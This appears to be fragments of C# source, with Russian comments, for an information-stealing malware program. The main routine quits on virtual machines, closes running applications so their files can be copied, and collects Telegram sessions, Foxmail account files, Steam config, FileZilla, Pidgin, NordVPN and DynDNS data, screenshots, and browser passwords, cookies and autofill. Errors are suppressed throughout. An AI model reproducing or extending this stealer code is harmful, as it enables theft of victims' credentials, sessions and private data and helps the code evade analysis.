/// <summary> /// Метод для сбора файлов со Steam директории /// </summary> /// <param name="exp">Сбор файлов без расширений ( *." )</param> /// <param name="congfiles">Сбор файлов с config директории</param> /// <param name="name">Именная папка Config</param> /// <param name="proc">Имя процесса Стим</param> public static void Inizialize(string exp, string congfiles, string name, string proc) { // Проверяем путь к папке стим if (CombineEx.ExistsDir(SteamPath.GetLocationSteam())) { CombineEx.CreateOrDeleteDirectoryEx(true, CombineEx.CombinePath(GlobalPath.Steam_Dir, name), FileAttributes.Normal); CombineEx.CreateFile(false, GlobalPath.SteamID, SteamProfiles.GetSteamID()); // Закрываем процесс чтобы можно было скопировать файлы. ProcessControl.Closing(proc); try { // Проходимся циклом по файлам без расширения foreach (var Unknown in Directory.EnumerateFiles(SteamPath.GetLocationSteam(), exp).Where( // Проверяем файл Unknown => File.Exists(Unknown)).Where( // Обходим файл .crash Unknown => !Unknown.Contains(".crash")).Select(Unknown => Unknown)) { CombineEx.FileCopy(Unknown, CombineEx.CombinePath(GlobalPath.Steam_Dir, CombineEx.GetFileName(Unknown)), true); } // Проходимся циклом по файлам конфиг foreach (var Config in Directory.EnumerateFiles(CombineEx.CombinePath(SteamPath.GetLocationSteam(), name), congfiles).Where( // Проверяем файл Config => File.Exists(Config)).Select(Config => Config)) { CombineEx.FileCopy(Config, CombineEx.CombinePath(CombineEx.CombinePath(GlobalPath.Steam_Dir, name), CombineEx.GetFileName(Config)), true); } } catch { } } }
/// <summary> /// Метод для получения имени браузера /// </summary> /// <param name="Item"></param> /// <returns></returns> public static string GetTitle(List <string> Item) { foreach (string Br in Item) { string Name = CombineEx.GetDirName(Br); if (CombineEx.ExistsDir(Name)) { return(CombineEx.GetFileName(Name)); } } return("Неизвестный браузер"); }
public static void GetSession(string From, string To, string Exp) { if (CombineEx.ExistsDir(From)) { CombineEx.CreateOrDeleteDirectoryEx(true, To, FileAttributes.Normal); try { foreach (var dirPath in from string dirPath in Directory.EnumerateDirectories(From, Exp, SearchOption.TopDirectoryOnly) where !dirPath.Contains("dumps") && (!dirPath.Contains("temp")) && (!dirPath.Contains("user_data")) && (!dirPath.Contains("emoji")) && (!dirPath.Contains("tdummy")) select dirPath) { CombineEx.CreateOrDeleteDirectoryEx(true, dirPath?.Replace(From, To), FileAttributes.Normal); foreach (string newPath in Directory.EnumerateFiles(dirPath, Exp, SearchOption.TopDirectoryOnly)) { CombineEx.FileCopy(newPath, newPath?.Replace(From, To), true); } } } catch (Exception) { } } }
public static void Main() { // Проверяем на запуск виртуальных машин ( Virtual Machine Check ) if (!AntiVM.GetCheckVMBot() && !RunCheck.InstanceCheck()) { Environment.Exit(0); } // Создаём папку куда будем всё собирать HomeDirectory.Inizialize(); // Делаем проверку что папка создалась if (CombineEx.ExistsDir(GlobalPath.HomePath)) { // Собираем данные .... Telega.GetSession(GlobalPath.Tdata, GlobalPath.TelegaHome, "*.*"); MailFoxPassword.Inizialize(); BuffBoard.Inizialize(); NordVPN.Inizialize_Grabber(); DynDns.Inizialize_Grabber(); FileZilla.Inizialize_Grabber(); Pidgin.Inizialize_Grabber(); GetSteamFiles.Inizialize("*.", "*.vdf", "config", "Steam"); InfoGrabber.Inizialize(); ScreenShot.Inizialize(GlobalPath.Screen); // Сбор и вывод логинов и паролей Searcher.CopyInSafeDir(GlobalPath.LoginsPath, "Login Data"); GetPasswords.Inizialize_Multi_file(); // Сбор и вывод куки данных Searcher.CopyInSafeDir(GlobalPath.CookiesPath, "Cookies"); GetCookies.Inizialize(); // Сбор и вывод Автозаполнение форм Searcher.CopyInSafeDir(GlobalPath.WebDataPath, "Web Data"); GetAutoFill.Inizialize_AutoFill(); } }
public static void Inizialize() { ProcessControl.Closing("Foxmail"); const string FOXPATH = @"SOFTWARE\Classes\Foxmail.url.mailto\Shell\open\command"; string UserDat = string.Empty, FinalPath = string.Empty, Email = string.Empty; if (CombineEx.ExistsDir(FoxMailPath.GetFoxMail(FOXPATH))) { try { foreach (string dir in Directory.EnumerateDirectories(FoxMailPath.GetFoxMail(FOXPATH), "*@*", SearchOption.TopDirectoryOnly)) { Email = dir.Substring(dir.LastIndexOf("\\") + 1); UserDat = CombineEx.CombinePath(dir, @"Accounts\Account.rec0"); FinalPath = CombineEx.CombinePath(GlobalPath.FoxMailPass, @"Account.rec0"); CombineEx.FileCopy(UserDat, FinalPath, false); break; } } catch { } Reader(UserDat, Email); CombineEx.DeleteFile(FinalPath); } }